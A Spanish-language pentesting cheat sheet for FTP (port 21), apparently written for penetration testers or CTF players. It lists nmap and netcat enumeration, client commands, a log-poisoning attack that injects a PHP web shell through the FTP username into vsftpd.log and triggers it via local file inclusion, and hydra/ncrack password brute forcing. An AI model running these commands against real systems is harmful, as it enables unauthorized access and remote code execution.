⚪ 21 - FTP (TCP)
Información
El File Transfer Protocol (FTP) es un protocolo de red para la transferencia de archivos entre sistemas conectados a una red TCP, basado en la arquitectura cliente-servidor.
Puerto Estándar: 21
PORT STATE SERVICE
21/tcp open ftp
Si Nmap no obtiene el encabezado del servicio, consultará la DB IANA para determinar el servicio asociado al puerto.
Enumeración
nc -vn 192.168.1.2 21
timeout 0.1 bash -c "nc -nv 192.168.1.2 21"
nmap -p21 -sS 192.168.1.2
nmap -p21 -sVC 192.168.1.2
nmap -p21 --script="ftp-anon" 192.168.1.2
nmap -p21 --script="ftp-*" 192.168.1.2
# ftps
openssl s_client -connect 192.168.1.2:21
openssl s_client -connect 192.168.1.2:21 -starttls ftp
Uso
# upload file
put cmd.php
# upload all files
mput *
# download
get config.php
# download all files
prompt off
mget *
# binary mode enable
binary
# exit
bye
# rename file
ftp> rename cmd.php
(to-name) cmd.php5
# read files from ftp
ftp> less .htaccess
ftp> more .htaccess
Conectar
# default port (21)
ftp peter@192.168.1.2
ftp anonymous@192.168.1.2
ncftp -u peter -p 'Passw0rd' 192.168.1.2
lftp -u anonymous, 192.168.1.2
lftp -u peter,'Passw0rd' 192.168.1.2
# ftps (error: Fatal error: Certificate verification: Not trusted)
lftp :~> set ssl:verify-certificate false
# other port
lftp -u peter,'Passw0rd' 192.168.1.2 -p 1234
ncftp -u peter -p 'Passw0rd' -P 1234 192.168.1.2
Log Poisoning
Si se detecta una vulnerabilidad de tipo Local File Inclusion (LFI)
permitiendo leer el archivo /etc/passwd
file.php?file=/etc/passwd
Si también permite leer el archivo log
de FTP ubicado en /var/log/vsftpd.log
.
file.php?file=/var/log/vsftpd.log
Podrá envenenar ese archivo log
inyectando código PHP en un inicio de sesión falso.
lftp -u '<?php system($_GET["cmd"]); ?>', 192.168.1.2
Ahora permitirá ejecución remota de comandos en el servidor de destino.
file.php?file=/var/log/vsftpd.log&cmd=id
Brute Force
Password
Si dispone de un usuario
y no conoce el password
:
# default port (21)
ncrack --user peter -P rockyou.txt ftp://192.168.1.2 -f
hydra -t 64 -l peter -P rockyou.txt ftp://192.168.1.2 -f -I # ftp
hydra -t 64 -l peter -P rockyou.txt ftps://192.168.1.2 -f -I # ftps
# other port
ncrack --user peter -P rockyou.txt ftp://192.168.1.2:1234 -f
hydra -t 64 -l peter -P rockyou.txt ftp://192.168.1.2:1234 -f -I
User
Si dispone de un password
y no conoce el usuario
:
# default port (21)
ncrack -U users.dic --pass Passw0rd ftp://192.168.1.2 -f
hydra -t 64 -L /opt/techyou.txt -p Passw0rd ftp://192.168.1.2 -f -I
# other port
ncrack -U users.dic --pass Passw0rd ftp://192.168.1.2:1234 -f
hydra -t 64 -L users.dic -p Passw0rd ftp://192.168.1.2:1234 -f -I
Archivos Asociados
/srv/ftp
- Directorio por defecto donde se ubican los archivos./var/log/vsftpd.log
- Ruta por defecto del archivo de logs./etc/vsftpd.conf
- Ruta por defecto del archivo de configuración.
